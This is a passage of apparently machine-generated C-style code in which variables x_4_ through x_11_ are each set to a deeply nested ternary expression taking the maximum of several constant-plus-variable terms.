(1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11))? (20.0 + x_9) : ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11)))? ((15.0 + x_0) > ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))? (15.0 + x_0) : ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))) : ((20.0 + x_9) > ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11))? (20.0 + x_9) : ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11)))) : (((20.0 + x_14) > ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))? (20.0 + x_14) : ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))) > ((16.0 + x_18) > ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21))? (16.0 + x_18) : ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21)))? ((20.0 + x_14) > ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))? (20.0 + x_14) : ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))) : ((16.0 + x_18) > ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21))? (16.0 + x_18) : ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21))))); x_4_ = ((((13.0 + x_1) > ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))? (13.0 + x_1) : ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))) > ((16.0 + x_9) > ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11))? (16.0 + x_9) : ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11)))? ((13.0 + x_1) > ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))? (13.0 + x_1) : ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))) : ((16.0 + x_9) > ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11))? (16.0 + x_9) : ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11)))) > (((14.0 + x_12) > ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))? (14.0 + x_12) : ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))) > ((1.0 + x_17) > ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23))? (1.0 + x_17) : ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23)))? ((14.0 + x_12) > ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))? (14.0 + x_12) : ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))) : ((1.0 + x_17) > ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23))? (1.0 + x_17) : ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23))))? (((13.0 + x_1) > ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))? (13.0 + x_1) : ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))) > ((16.0 + x_9) > ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11))? (16.0 + x_9) : ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11)))? ((13.0 + x_1) > ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))? (13.0 + x_1) : ((6.0 + x_4) > (5.0 + x_8)? (6.0 + x_4) : (5.0 + x_8))) : ((16.0 + x_9) > ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11))? (16.0 + x_9) : ((3.0 + x_10) > (17.0 + x_11)? (3.0 + x_10) : (17.0 + x_11)))) : (((14.0 + x_12) > ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))? (14.0 + x_12) : ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))) > ((1.0 + x_17) > ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23))? (1.0 + x_17) : ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23)))? ((14.0 + x_12) > ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))? (14.0 + x_12) : ((20.0 + x_13) > (20.0 + x_16)? (20.0 + x_13) : (20.0 + x_16))) : ((1.0 + x_17) > ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23))? (1.0 + x_17) : ((7.0 + x_18) > (2.0 + x_23)? (7.0 + x_18) : (2.0 + x_23))))); x_5_ = ((((7.0 + x_1) > ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))? (7.0 + x_1) : ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))) > ((15.0 + x_4) > ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8))? (15.0 + x_4) : ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8)))? ((7.0 + x_1) > ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))? (7.0 + x_1) : ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))) : ((15.0 + x_4) > ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8))? (15.0 + x_4) : ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8)))) > (((17.0 + x_13) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (17.0 + x_13) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) > ((8.0 + x_17) > ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22))? (8.0 + x_17) : ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22)))? ((17.0 + x_13) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (17.0 + x_13) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) : ((8.0 + x_17) > ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22))? (8.0 + x_17) : ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22))))? (((7.0 + x_1) > ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))? (7.0 + x_1) : ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))) > ((15.0 + x_4) > ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8))? (15.0 + x_4) : ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8)))? ((7.0 + x_1) > ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))? (7.0 + x_1) : ((16.0 + x_2) > (13.0 + x_3)? (16.0 + x_2) : (13.0 + x_3))) : ((15.0 + x_4) > ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8))? (15.0 + x_4) : ((13.0 + x_5) > (4.0 + x_8)? (13.0 + x_5) : (4.0 + x_8)))) : (((17.0 + x_13) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (17.0 + x_13) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) > ((8.0 + x_17) > ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22))? (8.0 + x_17) : ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22)))? ((17.0 + x_13) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (17.0 + x_13) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) : ((8.0 + x_17) > ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22))? (8.0 + x_17) : ((4.0 + x_19) > (15.0 + x_22)? (4.0 + x_19) : (15.0 + x_22))))); x_6_ = ((((5.0 + x_1) > ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))? (5.0 + x_1) : ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))) > ((2.0 + x_6) > ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11))? (2.0 + x_6) : ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)))? ((5.0 + x_1) > ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))? (5.0 + x_1) : ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))) : ((2.0 + x_6) > ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11))? (2.0 + x_6) : ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)))) > (((8.0 + x_12) > ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))? (8.0 + x_12) : ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))) > ((17.0 + x_17) > ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20))? (17.0 + x_17) : ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20)))? ((8.0 + x_12) > ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))? (8.0 + x_12) : ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))) : ((17.0 + x_17) > ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20))? (17.0 + x_17) : ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20))))? (((5.0 + x_1) > ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))? (5.0 + x_1) : ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))) > ((2.0 + x_6) > ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11))? (2.0 + x_6) : ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)))? ((5.0 + x_1) > ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))? (5.0 + x_1) : ((4.0 + x_3) > (11.0 + x_4)? (4.0 + x_3) : (11.0 + x_4))) : ((2.0 + x_6) > ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11))? (2.0 + x_6) : ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)))) : (((8.0 + x_12) > ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))? (8.0 + x_12) : ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))) > ((17.0 + x_17) > ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20))? (17.0 + x_17) : ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20)))? ((8.0 + x_12) > ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))? (8.0 + x_12) : ((4.0 + x_14) > (4.0 + x_15)? (4.0 + x_14) : (4.0 + x_15))) : ((17.0 + x_17) > ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20))? (17.0 + x_17) : ((10.0 + x_19) > (19.0 + x_20)? (10.0 + x_19) : (19.0 + x_20))))); x_7_ = ((((13.0 + x_0) > ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))? (13.0 + x_0) : ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))) > ((2.0 + x_8) > ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14))? (2.0 + x_8) : ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14)))? ((13.0 + x_0) > ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))? (13.0 + x_0) : ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))) : ((2.0 + x_8) > ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14))? (2.0 + x_8) : ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14)))) > (((19.0 + x_16) > ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))? (19.0 + x_16) : ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))) > ((17.0 + x_21) > ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23))? (17.0 + x_21) : ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23)))? ((19.0 + x_16) > ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))? (19.0 + x_16) : ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))) : ((17.0 + x_21) > ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23))? (17.0 + x_21) : ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23))))? (((13.0 + x_0) > ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))? (13.0 + x_0) : ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))) > ((2.0 + x_8) > ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14))? (2.0 + x_8) : ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14)))? ((13.0 + x_0) > ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))? (13.0 + x_0) : ((16.0 + x_1) > (12.0 + x_6)? (16.0 + x_1) : (12.0 + x_6))) : ((2.0 + x_8) > ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14))? (2.0 + x_8) : ((17.0 + x_10) > (8.0 + x_14)? (17.0 + x_10) : (8.0 + x_14)))) : (((19.0 + x_16) > ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))? (19.0 + x_16) : ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))) > ((17.0 + x_21) > ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23))? (17.0 + x_21) : ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23)))? ((19.0 + x_16) > ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))? (19.0 + x_16) : ((18.0 + x_18) > (11.0 + x_19)? (18.0 + x_18) : (11.0 + x_19))) : ((17.0 + x_21) > ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23))? (17.0 + x_21) : ((5.0 + x_22) > (17.0 + x_23)? (5.0 + x_22) : (17.0 + x_23))))); x_8_ = ((((15.0 + x_0) > ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))? (15.0 + x_0) : ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))) > ((16.0 + x_5) > ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11))? (16.0 + x_5) : ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11)))? ((15.0 + x_0) > ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))? (15.0 + x_0) : ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))) : ((16.0 + x_5) > ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11))? (16.0 + x_5) : ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11)))) > (((2.0 + x_12) > ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))? (2.0 + x_12) : ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))) > ((17.0 + x_21) > ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23))? (17.0 + x_21) : ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23)))? ((2.0 + x_12) > ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))? (2.0 + x_12) : ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))) : ((17.0 + x_21) > ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23))? (17.0 + x_21) : ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23))))? (((15.0 + x_0) > ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))? (15.0 + x_0) : ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))) > ((16.0 + x_5) > ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11))? (16.0 + x_5) : ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11)))? ((15.0 + x_0) > ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))? (15.0 + x_0) : ((10.0 + x_3) > (2.0 + x_4)? (10.0 + x_3) : (2.0 + x_4))) : ((16.0 + x_5) > ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11))? (16.0 + x_5) : ((18.0 + x_10) > (17.0 + x_11)? (18.0 + x_10) : (17.0 + x_11)))) : (((2.0 + x_12) > ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))? (2.0 + x_12) : ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))) > ((17.0 + x_21) > ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23))? (17.0 + x_21) : ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23)))? ((2.0 + x_12) > ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))? (2.0 + x_12) : ((18.0 + x_16) > (1.0 + x_20)? (18.0 + x_16) : (1.0 + x_20))) : ((17.0 + x_21) > ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23))? (17.0 + x_21) : ((18.0 + x_22) > (18.0 + x_23)? (18.0 + x_22) : (18.0 + x_23))))); x_9_ = ((((11.0 + x_0) > ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))? (11.0 + x_0) : ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))) > ((16.0 + x_5) > ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7))? (16.0 + x_5) : ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7)))? ((11.0 + x_0) > ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))? (11.0 + x_0) : ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))) : ((16.0 + x_5) > ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7))? (16.0 + x_5) : ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7)))) > (((2.0 + x_9) > ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))? (2.0 + x_9) : ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))) > ((10.0 + x_15) > ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21))? (10.0 + x_15) : ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21)))? ((2.0 + x_9) > ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))? (2.0 + x_9) : ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))) : ((10.0 + x_15) > ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21))? (10.0 + x_15) : ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21))))? (((11.0 + x_0) > ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))? (11.0 + x_0) : ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))) > ((16.0 + x_5) > ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7))? (16.0 + x_5) : ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7)))? ((11.0 + x_0) > ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))? (11.0 + x_0) : ((6.0 + x_3) > (5.0 + x_4)? (6.0 + x_3) : (5.0 + x_4))) : ((16.0 + x_5) > ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7))? (16.0 + x_5) : ((1.0 + x_6) > (4.0 + x_7)? (1.0 + x_6) : (4.0 + x_7)))) : (((2.0 + x_9) > ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))? (2.0 + x_9) : ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))) > ((10.0 + x_15) > ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21))? (10.0 + x_15) : ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21)))? ((2.0 + x_9) > ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))? (2.0 + x_9) : ((5.0 + x_10) > (1.0 + x_12)? (5.0 + x_10) : (1.0 + x_12))) : ((10.0 + x_15) > ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21))? (10.0 + x_15) : ((10.0 + x_16) > (6.0 + x_21)? (10.0 + x_16) : (6.0 + x_21))))); x_10_ = ((((3.0 + x_3) > ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))? (3.0 + x_3) : ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))) > ((20.0 + x_8) > ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10))? (20.0 + x_8) : ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10)))? ((3.0 + x_3) > ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))? (3.0 + x_3) : ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))) : ((20.0 + x_8) > ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10))? (20.0 + x_8) : ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10)))) > (((10.0 + x_12) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (10.0 + x_12) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) > ((17.0 + x_18) > ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22))? (17.0 + x_18) : ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22)))? ((10.0 + x_12) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (10.0 + x_12) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) : ((17.0 + x_18) > ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22))? (17.0 + x_18) : ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22))))? (((3.0 + x_3) > ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))? (3.0 + x_3) : ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))) > ((20.0 + x_8) > ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10))? (20.0 + x_8) : ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10)))? ((3.0 + x_3) > ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))? (3.0 + x_3) : ((5.0 + x_4) > (2.0 + x_5)? (5.0 + x_4) : (2.0 + x_5))) : ((20.0 + x_8) > ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10))? (20.0 + x_8) : ((20.0 + x_9) > (7.0 + x_10)? (20.0 + x_9) : (7.0 + x_10)))) : (((10.0 + x_12) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (10.0 + x_12) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) > ((17.0 + x_18) > ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22))? (17.0 + x_18) : ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22)))? ((10.0 + x_12) > ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))? (10.0 + x_12) : ((18.0 + x_15) > (20.0 + x_16)? (18.0 + x_15) : (20.0 + x_16))) : ((17.0 + x_18) > ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22))? (17.0 + x_18) : ((11.0 + x_19) > (14.0 + x_22)? (11.0 + x_19) : (14.0 + x_22))))); x_11_ = ((((18.0 + x_0) > ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))? (18.0 + x_0) : ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))) > ((10.0 + x_10) > ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13))? (10.0 + x_10) : ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13)))? ((18.0 + x_0) > ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))? (18.0 + x_0) : ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))) : ((10.0 + x_10) > ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13))? (10.0 + x_10) : ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13)))) > (((5.0 + x_14) > ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))? (5.0 + x_14) : ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))) > ((20.0 + x_19) > ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22))? (20.0 + x_19) : ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22)))? ((5.0 + x_14) > ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))? (5.0 + x_14) : ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))) : ((20.0 + x_19) > ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22))? (20.0 + x_19) : ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22))))? (((18.0 + x_0) > ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))? (18.0 + x_0) : ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))) > ((10.0 + x_10) > ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13))? (10.0 + x_10) : ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13)))? ((18.0 + x_0) > ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))? (18.0 + x_0) : ((4.0 + x_2) > (9.0 + x_8)? (4.0 + x_2) : (9.0 + x_8))) : ((10.0 + x_10) > ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13))? (10.0 + x_10) : ((6.0 + x_12) > (8.0 + x_13)? (6.0 + x_12) : (8.0 + x_13)))) : (((5.0 + x_14) > 